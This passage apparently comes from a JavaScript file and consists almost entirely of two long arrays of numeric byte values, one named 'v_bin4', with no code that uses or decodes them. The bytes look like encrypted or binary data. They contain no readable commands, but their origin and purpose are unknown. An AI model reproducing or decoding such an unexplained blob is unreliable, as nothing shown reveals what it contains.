167,128,46,163,97,25,181,104,242,248,115,73,254,24,228,142,124,139,21,170,214,203,246,1,223,200,136,77,178,103,186,67,82,62,213,252,137,18,198,13,136,124,207,133,252,10,205,12,21,73,1,243,204,118,180,68,116,110,158,130,204,59,113,175,223,146,87,52,191,62,166,59,120,63,206,251,238,188,104,26,201,56,70,72,54,231,183,39,27,91,53,236,0,191,121,133,252,88,44,180,89,25,1,87,159,2,147,208,190,137,246,14,35,115,115,238,164,238,230,226,91,86,147,155,217,136,78,111,26,255,181,4,90,154,155,230,230,73,87,22,173,55,133,134,76,129,213,91,61,246,36,89,158,14,0,163,224,226,121,252,9,160,89,193,31,226,251,121,96,100,27,191,163,144,194,60,101,2,106,211,168,177,146,110,203,87,64,189,123,52,162,112,132,133,74,252,123,8,179,103,52,250,220,23,99,8,184,140,15,97,230,169,76,9,22,168,134,144,109,115,189,113,151,84,122,195,164,130,174,205,24,244,138,77,109,19,250,150,143,222,139,202,112,82,223,93,6,215,4,175,185,90,181,86,48,209,84,96,212,230,109,78,27,252,201,174,235,163,244,226,198,64,37,211,58,59,115,49,158,134,107,255,162,60,96,195,78,216,86,126,244,119,80,248,37,15,72,19,19,170,224,58,253,67,82,107,14,105,219,160,111,88,32,29,164,175,234,9,226,100,189,63,55,89,133,136,174,128,66,52,119,248,56,97,26,250,189,27,172,35,168,129,208,8,170,138,19,82,29,62,246,86,60,87,208,109,105,37,119,238,207,26,81,106,10,147,78,0,177,153,170,196,39,27,95,42,119,74,165,240,48,201,87,94,39,228,253,101,83,112,225,181,2,79,157,77,139,29,64,162,174,94,152,139,45,83,158,168,248,220,135,51,48,29,132,146,101,83,34,209,113,164,24,69,226,130,90,124,126,47,101,9,114,146,125,241,252,113,57,81,11,242,198,48,37,112,214,174,209,200,2,139,20,41,105,175,138,95,3,193,242,169,234,45,134,98,253,44,58,125,147,87,174,146,225,53,0,85,5,133,189,212,73,188,13,237,19,183,62,73,117,123,100,137,18,165,206,95,75,249,231,178,153,117,247,115,146,139,96,189,144,125,159,16,52,153,18,50,238,89,187,117,197,138,108,168,221,200,173,127,89,92,79,133,17,146,32,206,238,194,120,112,198,201,218,75,11,44,249,208,90,182,92,163,169,67,51,119,178,190,101,66,93,49,204,18,126,140,65,129,44,152,170,57,51,108,173,45,154,33,36,170,60,38,72,35,117,245,46,0,14,201,22,234,121,31,15,189,19,232,49,222,119,117,194,6,120,53,175,222,72,70,155,181,72,110,56,18,67,104,104,131,128,222,212,215,35,222,134,5,253,241,198,20,62,95,50,24,192,93,62,118,2,60,91,60,182,19,132,155,61,34,81,65,21,183,224,53,125,230,147,145,139,106,223,178,86,219,80,207,75,60,53,238,249,193,218,56,110,42,249,174,158,156,218,201,8,255,21,123,103,43,108,197,239,40,155,70,52,24,79,137,21,198,111,171,228,103,120,107,138,41,32,139,165,28,225,188,43,9,129,22,81,211,95,223,223,132,185,132,250,164,48,200,120,179,1,181,244,46,92,27,82,42,227,8,4,46,232,192,159,170,137,54,174,159,4,23,3,61,236,137,126,224,64,101,144,148,102,36,63,75,250,124,242,187,66,54,149,9,87,17,156,78,159,103,65,127,95,125,62,134,63,38,105,116,245,150,80,119,154,66,17,111,149,99,11,205,106,196,144,213,196,111,59,65,170,13,158,207,4,144,28,161,94,183,144,204,129,77,106,199,15,227,67,72,34,230,247,105,242,29,244,41,191,60,27,124,203,108,184,50,244,107,67,70,245,67,2,72,135,143,238,199,120,247,0,41,91,32,195,34,122,0,119,240,134,239,122,165,190,247,14,33,122,144,243,87,172,81,186,183,136,1,181,26,44,149,120,174,60,219,49,186,213,117,183,57,24,111,201,186,136,243,37,29,199,13,38,122,11,17,186,163,54,202,65,65,57,96,130,197,75,68,102,139,152,47,207,94,83,173,196,128,49,111,118,136,186,211,24,151,144,47,145,181,194,187,239,137,254,226,113,205,164,39,119,240,68,160,56,28,21,135,77,118,128,65,136,2,154,27,78,15,181,111,66,201,15,216,252,22,237,238,225,91,158,38,149,118,150,191,133,182,117,156,118,134,49,122,215,131,69,15,157,92,119,55,198,178,188,43,40,128,224,104,40,64,76,34,202,19,247,227,164,234,12,96,240,252,136,185,18,233,99,28,21,82,126,53,50,115,169,219,136,184,242,207,99,251,176,9,171,45,15,115,140,173,135,55,82,9,68,28,137,213,9,36,163,37,154,201,61,243,31,21,164,97,245,238,164,127,164,50,166,86,120,116,151,233,37,197,161,97,247,104,164,21,92,17,8,216,85,144,57,160,201,13,106,92,79,182,217,223,201,101,51,192,212,255,243,237,182,198,6,169,65,186,4,18,173,152,238,159,71,229,16,66,117,143,52,18,93,190,207,246,18,153,157,36,214,62,157,128,249,222,107,77,74,186,97,167,17,50,54,29,247,100,122,248,101,47,91,220,203,135,146,231,189,217,101,134,81,75,143,55,205,1,168,130,43,227,21,150,98,62,132,123,151,231,205,224,243,217,56,172,92,207,247,129,141,24,181,14,17,109,98,205,210,190,239,238,94,209,191,18,147,15,230,150,15,219,221,115,43,74,178,124,91,108,190,114,8,33,113,171,43,226,200,152,103,23,174,221,244,132,98,183,143,174,31,132,124,87,145,159,5,75,143,212,196,112,92,9,150,133,61,45,156,75,81,165,254,81,64,134,233,225,237,213,6,9,69,217,45,54,203,131,161,41,140,236,222,35,248,38,228,199,22,35,3,126,65,2,248,238,108,211,132,39,242,123,46,142,140,253,251,34,49,116,45,220,8,159,10,194,251,149,57,124,102,57,136,163,252,250,134,63,202,129,165,180,223,124,254,69,245,53,125,213,43,135,34,168,188,1,212,67,170,141,200,64,11,238,122,157,27,76,223,75,149,73,86,87,202,97,37,73,1,220,167,196,121,55,33,156,218,238,196,80,204,180,141,144,40,39,2,5,25,130,75,51,30,18,20,179,49,65,131,128,170,225,57,135,122,219,181,28,225,64,161,154,131,150,18,251,114,171,142,4,143,213,144,165,253,88,162,182,129,170,28,142,210,12,116,185,155,118,201,41,213,235,222,93,232,113,113,91,62,54,206,181,154,121,133,172,143,8,236,151,201,79,114,84,252,154,163,94,63,2,68,59,141,2,83,44,96,146,64,98,254,141,153,197,114,162,174,145,156,160,139,105,228,208,233,166,176,123,37,161,108,79,197,209,110,173,49,47,25,73,76,79,242,51,178,215,242,3,190,31,34,190,39,18,100,223,121,129,181,76,79,223,190,246,23,133,220,219,54,105,51,127,185,100,100,73,200,61,76,53,25,42,20,145,85,68,147,174,86,197,3,76,110,180,153,38,102,230,73,130,190,148,227,152,161,183,160,205,174,248,98,241,172,234,135,168,127,82,101,169,207,86,156,109,2,221,41,39,191,76,30,249,158,132,78,122,146,172,215,245,29,231,7,145,197,50,255,50,2,86,12,225,166,113,216,166,79,226,32,35,216,67,118,201,54,168,61,49,117,32,186,72,71,239,245,188,174,231,67,214,164,230,154,31,169,254,119,250,78,242,76,133,173,136,86,235,247,79,96,161,17,48,131,24,75,216,101,187,45,205,83,35,149,106,253,29,222,228,65,162,139,189,135,89,202,183,211,183,14,34,114,9,233,43,70,191,238,199,27,74,53,142,156,55,201,214,252,69,33,114,181,68,73,11,67,146,134,143,207,20,240,210,221,115,192,183,232,117,197,77,62,118,253,118,172,77,229,77,223,187,150,142,203,214,148,51,140,131,174,125,46,142,194,218,98,244,234,56,164,133,243,224,249,116,84,138,36,125,135,104,41,240,236,243,151,198,144,190,151,135,232,102,104,102,155,140,220,109,180,55,92,74,157,134,246,246,215,70,92,69,68,239,169,73,195,57,165,6,38,28,217,9,211,141,217,17,151,134,6,214,62,5,98,233,168,61,110,103,103,180,170,244,182,110,181,29,116,146,135,72,138,197,0,58,129,195,250,83,92,138,148,101,208,179,58,200,115,112,249,166,14,70,175,208,61,16,104,171,233,120,93,196,151,17,39,184,242,5,232,231,34,155,111,216,2,16,124,130,117,154,127,159,233,231,172,125,44,186,141,59,30,23,50,140,196,175,76,153,1,49,3,28,121,159,150,203,142,46,139,149,125,165,167,167,58,254,9,210,22,99,89,182,153,118,218,136,117,194,90,55,205,146,32,170,213,71,208,58,67,21,74,140,114,231,126,122,181,163,156,243,253,123,94,222,156,9,1,29,205,206,24,127,167,91,99,104,227,15,41,15,114,119,228,10,173,221,58,241,103,197,16,90,95,44,215,199,124,46,30,231,28,121,189,241,41,77,246,115,77,169,107,59,227,138,213,169,249,239,76,135,36,53,41,31,70,85,232,198,97,237,225,71,29,80,37,254,121,75,236,133,162,0,153,246,225,195,45,167,3,232,71,227,4,37,110,86,101,219,252,225,194,190,201,29,221,54,97,238,249,137,92,117,234,91,178,88,191,106,74,65,154,60,202,104,179,140,76,249,108,129,64,171,51,75,206,146,139,57,100,216,156,246,37,114,156,107,148,148,31,81,95,56,228,166,156,35,165,177,165,39,109,111,216,208,201,123,162,114,22,86,154,216,85,10,63,4,122,54,88,174,116,240,136,10,232,78,17,248,146,15,228,136,65,148,223,76,253,239,2,114,94,186,200,187,68,93,0,9,8,207,13,97,240,15,200,86,212,245,149,48,237,115,215,208,185,159,145,201,125,49,8,202,184,110,225,47,185,97,190,0,194,190,171,232,239,76,0,235,32,163,91,245,121,162,157,63,101,149,174,146,8,9,151,62,193,151,91,82,113,73,17,119,85,241,117,98,224,80,5,184,94,71,160,1,78,160,227,218,7,49,148,92,228,240,192,251,15,223,103,226,225,175,240,201,110,17,54,24,121,108,184,225,241,135,152,219,87,120,237,83,36,100,69,16,227,230,193,122,156,221,19,27,123,79,134,19,131,251,134,129,194,204,199,76,196,194,107,158,126,135,92,106,12,76,192,23,204,198,152,185,177,244,223,251,45,75,8,247,181,43,87,50,122,10,119,86,111,107,147,189,52,119,241,215,73,131,43,173,160,118,25,110,236,84,122,170,127,48,73,244,77,191,230,177,111,139,85,126,172,123,133,124,68,191,152,96,27,70,196,201,108,61,203,36,97,26,83,121,46,178,123,200,208,209,145,206,225,140,224,106,208,183,106,140,144,39,82,89,0,185,48,56,141,238,31,168,159,48,87,17,250,142,42,15,75,141,245,8,156,60,255,7,169,221,10,245,251,192,69,33,204,150,190,169,134,168,231,129,122,182,231,127,247,6,79,231,91,89,171,190,121,58,168,4,69,97,65,175,161,4,197,212,119,83,197,109,70,40,183,225,167,113,113,12,117,46,255,239,167,147,184,60,225,48,86,52,33,156,45,188,180,166,207,154,98,60,124,27,72,127,181,107,67,74,197,116,84,115,68,252,70,133,186,5,131,105,209,50,173,142,251,123,142,67,63,72,143,245,18,111,26,12,2,53,87,239,176,133,143,187,91,234,217,188,250,47,234,235,244,110,241,170,248,62,91,222,213,229,144,235,110,104,64,219,51,204,218,35,149,126,210,192,149,166,221,247,155,60,226,103,50,24,150,176,37,239,152,249,166,205,64,152,208,69,94,13,25,143,180,242,133,86,170,63,96,42,61,235,140,177,99,3,99,165,5,114,51,190,128,226,158,163,87,212,38,129,60,100,247,46,89,103,29,238,169,140,204,207,21,162,123,242,32,10,236,136,84,64,84,126,53,69,64,222,126,147,168,126,154,217,107,39,69,109,27,115,25,111,193,121,65,139,97,129,249,51,11,181,174,101,154,51,96,148,220,233,247,48,201,156,10,226,91,99,198,85,203,201,166,39,202,164,40,230,11,165,249,102,54,126,85,77,123,179,105,94,81,76,55,2,70,149,168,145,235,132,224,124,118,155,217,226,25,157,83,237,44,9,140,173,86,116,231,203,29,35,103,97,227,81,204,118,108,166,166,87,83,222,95,40,81,172,77,29,57,152,26,245,88,247,23,174,172,41,216,118,72,111,202,84,173,16,164,86,84,65,131,128,43,179,115,239,233,210,241,121,62,42,212,173,249,200,243,177,88,152,215,223,164,134,156,152,129,39,53,54,230,251,84,200,126,167,129,54,240,3,117,111,244,0,112,208,244,193,139,185,180,67,26,22,75,93,215,217,202,202,117,162,161,205,5,202,229,139,120,252,43,58,142,193,248,208,200,117,220,143,105,186,56,126,34,135,180,145,23,31,104,215,40,53,78,104,146,96,246,137,64,17,231,14,32,240,225,172,19,80,228,225,67,26,69,215,166,167,208,232,194,223,151,180,49,105,146,49,54,12,217,82,55,80,1,82,21,158,213,21,22,254,135,117,58,139,255,117,124,20,123,14,92,238,62,122,235,157,166,247,71,109,121,254,33,110,189,152,47,101,193,204,199,29,187,254,201,179,154,44,186,185,174,235,239,116,27,247,234,14,214,53,37,133,192,156,132,84,187,32,183,206,41,44,99,137,185,79,80,220,112,45,234,90,62,105,56,243,249,223,216,220,180,155,46,46,1,162,150,136,182,160,252,77,155,64,0,3,117,198,44,191,203,249,14,228,96,74,81,155,107,139,88,223,164,96,249,193,224,59,127,180,117,132,159,141,169,221,206,117,201,16,112,179,224,36,215,182,62,12,2,38,81,232,96,240,93,53,45,142,159,46,136,100,88,219,231,56,54,154,251,198,243,212,141,229,75,97,249,36,116,38,194,85,113,163,181,79,160,47,187,134,2,70,133,197,230,177,238,144,241,176,35,228,104,88,242,210,103,78,167,123,10,92,123,144,76,35,79,219,140,240,78,63,75,83,229,0,30,174,160,12,32,167,222,167,57,78,115,132,205,245,122,72,95,44,104,20,114,190,184,157,228,222,242,18,9,222,230,141,41,86,212,253,6,146,52,132,7,225,28,130,202,77,45,158,246,144,35,134,21,240,215,12,5,175,171,181,89,180,221,51,226,17,159,252,250,92,58,242,85,54,85,28,69,143,174,63,47,138,1,72,124,63,56,197,143,227,116,77,172,75,133,240,242,170,49,191,216,159,6,46,99,191,226,35,143,202,115,205,53,38,110,44,179,93,176,229,179,26,51,215,143,4,12,146,49,156,144,156,174,161,197,70,232,235,146,45,222,189,53,157,18,255,221,65,180,150,193,231,58,53,182,195,41,51,251,205,240,54,128,134,197,229,82,22,95,254,92,76,42,114,81,174,142,96,212,43,35,41,94,235,239,119,73,183,85,253,8,224,33,163,113,231,40,241,73,79,144,192,201,109,230,182,123,84,167,215,218,255,53,160,237,6,112,4,136,59,59,171,205,2,42,68,194,254,238,79,209,13,224,166,147,205,45,109,190,241,111,156,216,87,5,206,47,167,86,15,17,1,167,119,123,117,254,80,50,246,86,132,128,153,45,62,241,82,16,73,198,101,191,15,142,75,57,187,112,36,16,230,164,79,183,252,186,78,144,213,131,22,119,48,44,61,25,72,126,70,42,37,107,205,38,106,197,53,252,163,220,176,119,135,254,142,214,36,100,77,207,68,42,168,223,183,95,200,15,192,227,81,203,137,189,91,251,116,255,242,253,221,83,76,249,169,71,3,158,34,31,12,17,14,49,104,145,254,4,228,205,110,39,123,212,26,88,127,229,191,65,64,251,192,67,174,57,115,115,140,174,120,139,113,59,67,59,91,229,83,93,2,10,64,196,167,106,63,94,107,191,118,142,184,68,158,196,14,58,213,246,50,213,219,134,200,23,82,235,217,18,96,63,253,71,107,164,8,113,246,214,81,205,6,127,155,53,28,176,246,131,209,61,213,117,119,6,221,111,3,10,12,87,150,116,253,188,112,48,200,117,75,66,183,170,238,215,115,228,39,9,114,93,187,173,165,152,182,24,188,169,78,4,208,131,243,62,7,144,237,104,85,215,172,105,93,140,56,38,54,210,36,22,120,239,31,163,208,181,229,71,165,44,92,97,149,49,16,143,154,82,172,229,233,51,137,61,232,152,17,23,155,87,149,253,17,68,65,56,115,170,89,159,210,63,124,154,13,214,135,113,180,18,179,194,72,191,146,74,13,104,9,26,136,206,56,168,57,127,209,2,19,199,58,118,36,156,149,229,206,25,46,216,131,165,77,7,180,46,154,145,170,130,88,18,220,111,189,47,75,162,3,175,63,6,49,119,15,146,151,236,173,125,101,16,193,68,181,147,240,26,167,26,69,248,77,96,53,142,107,17,244,85,40,137,78,221,128,40,109,84,204,44,18,85,133,231,157,250,38,156,233,126,129,106,25,148,149,113,3,65,117,209,75,218,218,102,30,56,206,54,150,1,38,33,213,92,223,209,27,105,53,173,131,124,217,178,164,161,98];
var v_bin4 = [18,41,150,140,185,65,62,204,89,192,208,123,236,94,37,173,217,185,106,121,86,149,231,166,172,130,96,167,214,52,188,6,0,157,66,51,162,113,139,214,167,193,216,91,204,29,115,19,117,50,11,96,227,234,14,199,253,157,54,176,127,167,49,235,131,44,155,59,54,159,92,146,113,165,20,91,33,135,245,10,250,165,74,97,110,165,222,24,172,51,38,216,172,6,70,131,92,181,191,16,112,228,58,24,139,32,233,49,194,155,106,125,151,175,134,164,70,90,183,226,175,114,146,85,25,35,201,159,18,186,137,93,12,100,177,200,247,46,194,177,247,214,240,224,238,35,36,8,120,108,184,108,74,233,241,210,178,8,163,162,149,40,59,143,15,205,106,85,201,28,75,24,209,195,130,53,3,125,32,133,215,160,31,177,119,142,47,212,210,0,134,161,126,201,22,1,2,53,248,77,226,187,64,240,230,179,5,249,218,128,112,254,170,233,33,138,125,206,150,19,74,4,22,42,61,191,249,30,216,233,32,73,230,19,204,5,26,149,102,176,18,6,141,18,77,125,67,220,200,248,2,95,215,235,63,55,150,72,30,69,127,199,110,103,93,202,131,77,30,93,227,162,126,35,181,85,131,22,220,134,171,55,75,61,86,174,75,183,10,157,95,67,237,247,7,202,234,204,154,215,166,29,83,140,240,220,63,0,149,245,152,249,190,161,18,151,254,38,94,1,143,209,18,226,5,99,217,173,222,150,49,164,52,164,74,98,121,245,6,173,227,114,57,104,128,12,50,253,218,9,71,83,121,175,148,127,201,26,112,230,80,252,215,142,245,63,219,4,40,18,247,234,85,1,189,72,67,194,44,235,227,156,64,230,163,23,10,102,181,254,196,195,163,211,68,115,243,225,179,79,198,226,73,159,118,107,41,112,171,94,168,126,65,207,208,150,123,121,80,105,218,126,119,70,75,119,93,100,252,67,40,169,192,4,1,248,93,76,209,82,30,2,215,57,88,78,169,199,254,236,52,98,171,18,44,135,182,129,92,49,190,142,234,251,72,222,212,29,195,59,151,22,252,60,92,10,78,195,53,208,42,148,114,25,20,198,219,8,28,212,147,142,88,176,199,254,31,158,121,232,109,209,216,126,203,25,133,127,91,146,106,40,214,99,196,241,212,235,64,44,28,248,199,180,145,210,175,111,209,23,32,37,133,81,235,191,214,255,121,103,154,148,70,202,140,45,39,85,135,196,138,151,128,24,61,128,132,23,31,94,234,26,199,182,203,135,55,153,240,83,72,254,103,134,173,104,44,21,184,61,7,81,127,201,143,245,120,9,172,49,66,165,24,163,234,148,147,249,55,237,147,184,62,113,198,231,82,20,22,17,135,181,182,208,32,126,15,198,124,212,142,250,96,56,221,167,29,204,250,161,3,185,34,11,73,142,100,157,84,76,246,224,153,126,90,169,109,147,214,231,204,23,27,121,225,173,252,255,175,227,193,8,53,159,22,214,147,100,149,54,66,155,148,216,151,253,123,130,54,120,98,93,26,96,194,208,113,157,202,156,219,230,241,104,22,141,126,90,2,156,197,92,5,64,126,226,251,181,52,69,40,175,190,62,166,239,48,173,12,156,153,147,97,174,209,135,183,210,108,206,149,106,19,51,143,42,115,221,44,88,43,14,135,202,140,68,30,179,186,220,107,192,106,3,21,219,191,115,235,158,226,206,137,175,241,181,232,227,134,242,122,174,51,68,170,3,69,61,133,189,46,188,176,43,47,29,120,141,126,13,140,10,56,99,168,181,190,105,201,26,162,68,36,36,131,219,209,73,242,17,26,173,90,73,152,128,79,97,245,183,56,156,209,98,124,249,239,225,240,237,102,75,184,202,87,99,124,77,61,89,213,132,132,104,36,214,241,101,97,222,48,128,230,69,225,253,98,72,16,215,201,111,218,145,186,82,42,61,115,230,12,176,164,193,112,138,185,221,112,203,245,137,20,48,69,122,125,25,51,198,145,77,51,138,58,165,3,253,22,247,199,90,19,204,148,211,239,42,185,197,188,59,187,47,244,33,168,120,66,127,229,12,82,189,52,179,82,222,217,232,24,23,23,78,153,16,166,91,176,254,18,68,2,240,208,244,172,192,169,233,67,48,15,162,114,156,49,226,214,81,231,241,127,241,153,72,14,168,110,103,231,189,24,212,47,169,181,156,12,101,42,166,76,117,228,127,192,171,220,21,51,172,17,176,172,189,73,131,250,184,167,59,112,6,181,133,71,69,88,219,61,97,43,206,20,144,133,231,180,210,74,242,27,169,100,239,24,107,13,5,209,134,139,143,154,10,48,117,53,210,236,221,105,152,185,34,173,225,18,13,145,225,75,200,45,87,168,228,35,243,78,131,190,212,5,155,58,27,105,229,77,148,241,212,97,36,160,163,71,157,173,151,61,136,215,219,172,119,136,200,57,83,142,44,160,36,135,140,119,241,140,78,9,136,36,73,100,135,30,166,114,148,133,77,11,80,54,230,240,245,86,185,160,214,29,164,142,145,120,150,110,213,54,146,102,46,184,71,11,51,233,251,14,90,94,196,160,9,206,178,33,138,197,5,52,72,146,123,236,52,133,208,9,190,171,192,153,63,250,240,43,20,195,45,13,203,29,252,203,41,231,179,14,253,175,249,121,25,255,98,42,33,117,215,163,231,94,143,57,121,193,112,221,232,180,61,32,219,133,236,191,216,35,181,206,63,120,189,38,162,70,177,97,206,203,195,83,210,71,56,122,117,205,108,162,31,16,171,109,254,239,84,16,13,150,208,212,84,199,140,73,66,247,62,109,180,119,79,72,168,17,180,39,32,59,2,162,139,67,38,240,129,11,125,240,232,49,120,143,96,26,137,95,10,133,81,100,191,46,154,253,166,80,124,29,221,140,44,255,223,98,106,3,118,101,101,245,126,129,37,3,72,115,86,34,208,71,54,3,70,233,68,161,108,61,107,242,39,237,31,243,193,50,123,245,98,152,204,83,242,145,17,53,0,192,108,97,174,171,243,157,175,128,60,85,65,71,42,166,117,95,183,76,170,69,206,247,124,76,31,165,200,204,59,91,49,71,252,145,170,223,6,3,152,142,68,114,18,70,122,208,212,247,183,43,58,41,191,55,149,20,149,190,207,134,141,114,251,100,10,161,201,174,23,28,213,163,19,227,57,173,44,114,91,175,134,72,24,145,191,23,194,240,46,29,214,74,242,186,135,214,5,79,254,142,201,239,220,32,237,78,52,232,100,48,5,48,113,175,13,140,80,230,175,245,54,224,47,159,243,218,121,122,190,177,53,118,40,112,169,107,59,228,189,99,245,5,9,121,1,38,226,220,137,18,246,92,208,112,216,94,22,214,196,171,168,125,203,16,105,116,151,164,101,143,169,224,40,15,70,9,152,240,38,141,208,32,232,67,101,213,241,171,58,137,247,235,164,227,205,185,76,122,20,54,118,78,40,24,162,138,71,113,38,114,36,205,233,139,188,208,224,125,197,176,29,57,166,242,133,248,90,1,229,181,185,36,175,143,39,102,92,98,221,81,23,54,98,76,186,13,210,80,76,91,92,136,88,244,24,23,233,165,189,164,42,148,75,216,53,66,252,144,74,178,62,46,204,37,88,136,19,159,163,124,69,199,62,81,106,106,98,148,190,216,253,105,60,108,140,71,57,42,23,93,242,242,249,123,226,115,77,251,3,167,47,219,241,247,43,55,119,191,75,194,192,25,164,57,47,189,214,229,215,51,191,206,131,184,241,72,80,92,17,98,83,88,132,144,54,132,23,233,124,88,12,128,146,134,235,52,57,139,44,242,155,33,22,105,105,104,168,248,162,67,141,2,143,84,233,66,214,82,192,159,208,158,248,99,226,29,228,115,252,232,244,161,43,43,118,99,9,6,106,108,169,51,173,98,208,92,125,196,205,7,243,85,125,55,41,48,77,166,148,141,84,24,138,113,250,152,8,198,144,169,241,76,241,233,155,175,9,41,153,246,32,69,84,61,128,120,54,11,230,51,143,86,188,184,204,56,130,2,9,6,185,67,222,216,172,49,28,205,254,147,29,126,73,117,226,130,222,13,2,198,208,75,28,82,139,177,127,217,149,203,211,88,97,75,102,171,210,180,246,100,201,134,175,148,9,71,4,164,140,163,93,188,194,41,71,173,64,179,87,213,147,231,25,65,197,236,86,9,224,178,223,65,186,38,225,8,37,106,227,63,153,254,104,127,7,222,19,75,214,243,41,62,182,110,134,97,164,44,204,86,51,48,180,228,112,89,33,53,72,246,83,207,44,239,156,149,93,218,161,194,173,196,33,74,188,109,217,198,236,73,176,197,58,160,237,193,81,147,98,224,95,29,21,157,218,75,236,116,227,117,28,253,202,163,21,50,130,41,118,118,247,188,137,147,221,9,69,91,0,48,8,137,191,69,154,73,87,119,128,242,3,5,102,217,59,202,245,239,104,74,56,227,183,244,138,191,30,184,55,100,18,247,203,155,142,10,217,58,137,237,155,116,209,113,43,22,111,7,197,57,23,111,146,84,191,130,220,151,65,44,8,43,244,80,240,190,176,226,113,156,115,67,110,255,83,27,242,115,195,127,134,197,31,72,212,139,150,107,34,126,116,190,71,55,5,225,55,240,155,58,202,16,254,246,131,226,220,10,47,0,144,11,76,222,23,72,39,226,71,1,83,240,151,26,235,248,112,193,219,254,236,205,5,15,95,249,154,172,170,136,202,135,152,132,68,213,28,254,33,73,128,231,18,228,145,98,99,15,115,10,26,56,140,43,213,209,66,236,164,132,228,90,102,37,195,143,242,83,250,134,199,12,112,14,235,133,131,54,206,214,182,192,216,52,152,224,128,202,223,50,79,129,138,173,60,188,133,34,100,114,18,164,139,60,200,14,87,72,197,151,191,209,96,59,122,174,236,225,120,241,123,102,204,51,75,187,11,110,241,165,174,95,238,103,203,185,120,113,13,244,127,220,205,118,146,191,144,37,126,80,235,228,88,217,83,64,231,120,237,191,33,225,99,59,156,10,0,31,37,110,71,251,60,227,170,71,251,17,24,79,215,170,213,151,170,158,173,205,93,88,88,244,115,113,104,45,231,111,40,246,59,0,60,120,20,58,73,14,66,101,241,64,201,218,112,114,70,21,20,78,237,71,251,191,44,19,1,75,25,37,40,174,162,232,48,83,68,141,181,35,201,56,170,49,162,238,159,78,50,42,81,77,234,47,145,56,172,190,188,74,68,39,108,28,149,193,167,212,11,251,18,174,4,220,225,94,8,190,250,174,65,15,146,244,154,145,101,187,134,138,126,177,160,80,194,150,48,81,144,219,168,31,175,100,209,219,63,199,159,127,169,247,117,233,118,66,223,138,211,26,159,125,80,23,187,216,178,201,18,79,157,61,210,34,233,75,203,185,213,224,184,64,155,124,25,246,4,76,44,229,91,219,80,216,189,96,74,242,75,121,63,192,66,11,202,114,50,94,140,40,247,176,251,14,16,51,158,142,91,182,202,137,177,154,217,213,234,12,91,196,158,83,73,250,200,213,146,105,236,248,110,75,32,30,118,153,238,24,205,28,24,26,197,171,50,241,144,229,178,59,237,61,4,28,208,49,107,7,246,191,9,128,102,153,132,41,2,151,244,157,63,195,146,242,108,139,71,10,118,209,132,38,94,197,169,216,122,215,40,134,234,87,6,147,240,242,238,219,236,124,238,92,220,69,222,157,120,215,24,68,132,127,206,189,134,63,211,124,133,231,80,229,113,92,107,75,240,162,19,81,16,63,125,20,7,254,147,10,27,2,150,233,67,210,86,171,41,138,198,176,4,86,11,127,140,163,157,62,93,218,245,157,119,210,73,72,98,93,218,153,243,244,140,16,187,182,176,206,140,148,184,156,211,44,57,187,246,37,40,27,196,227,214,160,12,170,183,225,212,185,204,30,190,60,5,126,154,32,4,52,87,101,124,45,104,134,242,109,198,15,219,196,84,214,154,208,46,90,106,42,169,167,127,223,205,224,188,14,247,29,245,101,210,225,225,14,200,59,241,158,179,177,31,127,218,188,110,236,65,111,254,19,30,80,172,173,4,38,94,112,73,119,30,19,5,42,29,179,97,83,250,119,40,124,245,191,100,18,127,118,149,136,3,49,54,128,12,39,22,24,241,6,243,76,123,188,26,84,2,155,145,142,139,229,142,146,163,131,184,109,239,37,125,180,73,180,129,16,146,169,166,162,136,76,153,54,167,122,21,106,87,252,220,207,10,34,117,151,236,249,171,209,133,81,126,16,198,222,60,254,164,12,33,211,132,249,235,111,48,126,198,14,202,177,113,189,103,79,144,194,149,232,248,114,137,83,242,36,36,134,139,208,143,113,104,104,25,36,117,70,165,219,61,44,116,49,38,56,247,145,12,109,109,192,89,75,216,15,58,101,217,216,235,128,255,228,13,227,42,141,96,121,192,166,162,143,191,182,165,133,211,226,226,182,63,79,147,148,142,233,148,0,103,214,228,173,102,31,150,26,154,55,93,254,35,140,186,198,180,151,61,61,162,32,179,124,85,198,254,196,67,71,146,221,228,22,33,35,143,123,217,91,130,18,8,226,43,244,31,71,82,116,22,139,95,120,76,89,79,126,185,19,241,17,159,236,86,128,236,127,135,94,224,63,71,102,149,218,63,134,145,69,26,17,151,73,177,113,127,46,192,105,18,105,64,184,88,224,194,142,60,73,164,150,8,168,199,211,137,76,97,219,199,103,79,184,167,155,79,105,102,36,178,145,163,158,80,4,43,228,255,51,78,61,235,55,232,118,18,72,233,9,11,202,84,107,214,135,220,254,222,129,64,40,23,5,228,115,176,17,17,159,97,166,206,216,146,72,62,24,179,45,29,203,61,60,202,155,169,101,46,109,113,132,251,162,143,95,232,68,36,3,190,244,123,34,154,150,241,186,105,229,117,192,200,45,188,87,11,1,11,225,175,25,86,226,46,98,220,23,164,66,47,191,166,86,44,228,97,136,138,151,250,220,29,81,101,99,254,241,207,179,150,187,172,164,196,172,44,1,240,208,207,40,182,243,20,161,244,116,105,252,4,40,49,7,3,42,135,168,181,130,23,178,240,109,200,211,198,80,118,34,29,118,144,124,150,210,145,158,131,79,91,211,83,13,240,218,198,216,160,11,137,239,228,3,56,18,158,214,59,149,249,116,225,72,150,6,7,236,121,189,117,136,71,67,70,172,150,152,229,216,152,88,142,239,77,117,170,168,166,19,87,74,16,100,8,195,108,84,203,186,80,187,142,5,131,51,182,245,20,236,12,66,197,219,171,183,226,54,50,199,166,14,6,193,202,118,221,58,193,10,172,189,218,30,65,1,145,180,55,252,4,156,166,74,127,234,166,69,111,154,78,5,88,200,231,199,130,67,211,235,173,146,252,140,191,48,229,63,222,164,127,49,58,31,12,143,81,193,158,152,227,3,243,120,13,154,224,131,107,193,130,83,192,134,252,164,41,232,78,100,17,218,227,184,98,35,81,213,184,30,37,4,207,94,134,154,249,192,26,41,193,203,241,18,255,152,0,168,12,49,18,37,90,96,248,93,14,204,227,179,45,183,125,88,118,61,159,182,78,39,91,85,191,235,153,85,213,47,44,13,80,140,127,61,43,169,28,110,55,188,250,238,149,57,221,181,237,67,158,163,75,178,111,11,100,185,231,125,239,180,166,139,149,77,188,228,84,253,220,32,122,253,40,2,17,237,0,30,136,113,84,11,195,197,38,129,109,188,151,15,227,150,3,68,186,63,204,155,246,132,98,151,188,66,214,78,51,144,171,49,111,36,207,23,146,166,4,68,196,178,197,147,165,107,13,175,121,65,90,22,111,34,197,117,135,48,23,33,56,164,161,128,18,167,193,240,11,138,168,46,255,2,154,159,103,35,10,140,219,197,137,86,85,130,99,203,211,226,241,168,84,28,229,30,114,81,52,88,24,203,245,244,181,98,121,197,24,52,227,46,27,17,254,116,52,250,250,48,135,216,21,251,134,56,82,16,155,68,37,29,119,182,34,128,10,76,132,245,204,51,90,14,147,107,